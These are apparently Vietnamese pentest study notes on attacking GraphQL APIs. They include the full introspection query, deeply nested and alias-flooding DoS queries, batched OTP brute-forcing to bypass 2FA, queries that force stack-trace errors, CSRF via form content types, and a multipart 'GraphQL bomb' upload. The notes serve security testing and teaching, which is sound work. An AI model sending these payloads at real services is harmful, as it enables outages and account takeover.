GraphQL API Vulnerabilities, Common Attacks and Security Tips

What Tools Are Used during a GraphQL API Pentest?

Khi pentest GraphQL, ta thường sẽ:

  • Sử dụng introspection query để tìm hiểu về schema:

    {__schema{queryType{name}mutationType{name}subscriptionType{name}types{…FullType}directives{name description locations args{…InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated :true){name description args{…InputValue}type{…TypeRef}isDeprecated deprecationReason}inputFields{…InputValue}interfaces{…TypeRef}enumValues(includeDeprecated :true){name description isDeprecated deprecationReason}possibleTypes{…TypeRef}}fragment InputValue on __InputValue{name description type{…TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
  • Dùng clairvoyance để khai thác tính năng suggestions của GraphQL engine nhằm xây dựng schema.

  • Dùng graphql-cop để scan các lỗ hổng của GraphQL chẳng hạn như Alias Overloading, GET based queries, Mutation support over GET methods, etc.

  • Dùng graphw00f để tìm ra GraphQL engine nào đang được sử dụng chẳng hạn như là Apollo, Lighthouse, etc.

What Are the Most Common Vulnerabilities and Attacks on GraphQL APIs?

Denial of Service (DoS) Attacks

Một trong số những tấn công phổ biến vào GraphQL là DoS, chẳng hạn như tấn công Circular Queries (Recursive Queries): dùng khi có các data type tham chiếu lẫn nhau.

Khi đó, ta có thể câu query đệ quy nhiều lần đề thực hiện DoS.

# An exemple of cycle allowing an infinitely deep query
query {
  paste(id: 1) {
    owner {
      paste {
        owner {
          paste {
            owner {
              paste {
                # ...
              }
            }
          }
        }
      }
    }
  }
}

Batched Queries and Aliases

Batched Queries và Aliases các tính năng của GraphQL và có thể bị lạm dụng để thực hiện DoS hoặc brute-force như trong Bypassing Rate Limiting Using Aliases.

Ví dụ về một batched queries dùng để brute-force:

Ví dụ về việc sử dụng các aliases để thực hiện brute-force:

Để tấn công DoS sử dụng Alias, ta cần tìm một GraphQL query mà có response time lâu nhất trong ứng dụng rồi tạo ra một câu query có nhiều alias nhưng đều gọi query tìm được (có thể viết script để xây dựng câu query có chứa các aliases).

Seealso

Bài viết 👉GraphQL Batching Attack còn sử dụng Batched Queries để bypass 2FA bằng cách gửi toàn bộ các OTP code trong một request duy nhất 🤯.

Broken Authentication & Authorization

Đôi khi việc phân quyền cho các query không được implement đúng cách. Giả sử application expose ra query systemHealth dùng để kiểm tra sức khỏe của hệ thống mà không cần xác thực. Attacker có thể gửi GraphQL query có cùng tên nhưng truy vấn đến các resource khác không được phép nhằm bypass việc kiểm tra phân quyền của server nếu nó kiểm tra phân quyền dựa trên của câu query.

GraphQL Explained: How It Works, Why It Beats REST, and How to Hack It

Denial of Service (DoS)

Large Lists (Over-fetching Data)

Chúng ta có thể query thật nhiều record để gây DoS. Ví dụ:

query {
  users(first: 10000) {
    id
    name
    email
  }
}

Field Duplication (Query Overloading)

Hoặc sử dụng nhiều field trùng lặp nhau trong cùng một câu query:

query {
  user {
    id
    id
    id
    id
    # Repeated thousands of times...
  }
}

Difference between Alias Abuse and Batch Queries

  • Alias Abuse: cùng một câu query nhưng được thực thi nhiều lần
  • Batch Queries: cùng thực thi nhiều câu query.

Identifying Debug Errors in Query Responses

Chúng ta có thể gửi các câu query bị hỏng để làm cho server quăng ra các thông báo lỗi. Một số thông báo lỗi nếu quá chi tiết thì có thể làm lộ thông tin.

Ví dụ một câu query bị hỏng:

query {
  user(id: "1" {
    name
  }
}

Response để lộ stack trace và có thể khiến attacker hiểu rõ hơn về application:

{
  "errors": [
    {
      "message": "Syntax Error: Expected Name, found {",
      "locations": [{ "line": 2, "column": 15 }],
      "stack": "Error: Syntax Error\n at GraphQLParser.parse (...)"
    }
  ]
}

Một số cách để trigger error message từ server:

  • Syntax Error

    query {
      user(id: "1" {  # Missing closing parenthesis
        name
      }
    }
  • Invalid Field Names

    query {
      user(id: "1") {
        fullName # Field "fullName" does not exist in the schema
      }
    }
  • Type Mismatch

    query {
      user(id: 1) {
        # ID should be a string, not a number
        name
      }
    }
  • Nesting Errors

    query {
      user(id: "1") {
        name
        posts {  # Missing fields inside "posts"
      }
    }
  • Unclosed Fragments

    query {
      user(id: "1") {
        ...userFields # Fragment "userFields" is not defined
      }
    }

Identifying Query Tracing in Responses

Một số GraphQL engine còn trả về tracing của query:

{
  "data": {
    "user": {
      "name": "John Doe"
    }
  },
  "extensions": {
    "tracing": {
      "execution": {
        "resolvers": [
          {
            "path": ["user"],
            "duration": 120
          }
        ]
      }
    }
  }
}

Cụ thể hơn, nếu tracing được enabled, ta có thể phân tích field extensions để biết được một số thông tin của application.

  • Performance Metrics

    "extensions": {
      "executionTime": "120ms",
      "queryComplexity": 50
    }
  • Debugging Information

    "extensions": {
      "warnings": ["Field 'fullName' is deprecated, use 'name' instead"]
    }
  • Server-Specific Data

    "extensions": {
      "apiVersion": "1.0",
      "cache": "HIT"
    }
  • Schema or Query Insights

    "extensions": {
      "deprecations": [
        { "field": "User.email", "reason": "Use 'contactEmail' instead" }
      ]
    }

Exposed GraphQL Playground or IDE

Chúng ta có thể thử truy cập vào endpoint /graphql để truy cập Playground hoặc IDE của GraphQL.

GraphQL CSRF

Có thể xảy ra nếu application accept Content-Type có giá trị là application/x-www-form-urlencoded hoặc text/plain, sử dụng cookie và không có CSRF protections. Khi đó, attacker sẽ URL encode mutation của GraphQL và submit thông qua HTML Forms.

Forging GraphQL Bombs, the 2022 version of Zip Bombs

Theo đặc tả graphql-multipart-request-spec at escape.tech, GraphQL có thể được dùng để upload file. Ví dụ:

POST /graphql HTTP/1.1
Connection: keep-alive
Content-Length: 78346
Content-Type: multipart/form-data; boundary=----boundaryMGv2RzA6GpOE3Hry
Host: example.com
 
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="operations"
 
{
  "query": "mutation ($picture: File!) {updateUserPicture(picture: $picture)}",
  "variables": { "picture": null }
}
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="map"
 
{
  "file1": ["variables.picture"]
}
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="file1"; filename="gautier.jpg"
Content-Type: image/jpeg
 
(77 kB of binary data)
------boundaryMGv2RzA6GpOE3Hry--

Lấy cảm hứng từ Zip Bomb (kỹ thuật tấn công sử dụng file nén mà khi giải nén sẽ có kích thước cực kỳ to), attacker có thể gửi một GraphQL query bao gồm nhiều alias nhưng cùng tham chiếu đến 1 file.

mutation {
  a1: updateUserPicture(picture: $picture)
  a2: updateUserPicture(picture: $picture)
  a3: updateUserPicture(picture: $picture)
  # ...
  a1000: updateUserPicture(picture: $picture)
}

Minh họa:

Impact có thể là làm tiêu tốn tài nguyên của server hoặc DoS.